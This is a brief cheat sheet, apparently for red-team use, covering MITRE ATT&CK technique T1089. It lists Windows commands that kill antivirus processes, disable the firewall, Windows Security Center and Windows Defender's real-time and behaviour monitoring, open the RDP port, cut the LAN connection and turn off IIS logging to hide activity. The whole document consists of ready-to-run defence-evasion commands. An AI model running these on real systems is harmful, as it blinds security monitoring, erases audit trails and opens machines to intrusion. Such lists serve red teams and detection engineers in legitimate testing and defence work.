# Disabling Security Tools MITRE ATT&CK Technique: [T1089](https://attack.mitre.org/wiki/Technique/T1089) ## Terminate Anti-Virus Processes `Taskkill /F /IM avprocess.exe` ## Disable Firewall `netsh firewall set opmode disable` ## Stop Windows Security Center `net stop wscsvc` ## Add Local Firewall Rule Exceptions : Enable a Program `netsh advfirewall firewall add rule name="My Application" dir=in action=allow program="C:\MyApp\MyApp.exe" enable=yes` ## Add Local Firewall Rule Exceptions : Enable a Port `netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow` ## Disable The LAN Network Connection `netsh interface set interface name="Local Area Connection" admin=disabled` ## Stop Windows Defender ### Windows 7/8 `net stop windefend` ### Windows 10 ``` PS > Set-MpPreference -DisableRealtimeMonitoring $true -Verbose PS > Set-MpPreference -DisableIOAVProtection $true -Verbose PS > Set-MpPreference -DisableBehaviorMonitoring $true -Verbose PS > Set-MpPreference -DisableIntrusionPreventionSystem $true -Verbose PS > Set-MpPreference -DisablePrivacyMode $true -Verbose ``` ## Disable Default Web Site Logging IIS 7 ### Disable Default Web Site Logging IIS 7 `%windir%\system32\inetsrv\appcmd.exe set config "Default Web Site" -section:system.webServer/httpLogging /dontLog:"True" /commit:apphost` ### Restart Default Web Site IIS 7 `%windir%\system32\inetsrv\appcmd.exe stop site /site.name:"Default Web Site" && %windir%\system32\inetsrv\appcmd.exe start site /site.name:"Default Web Site"`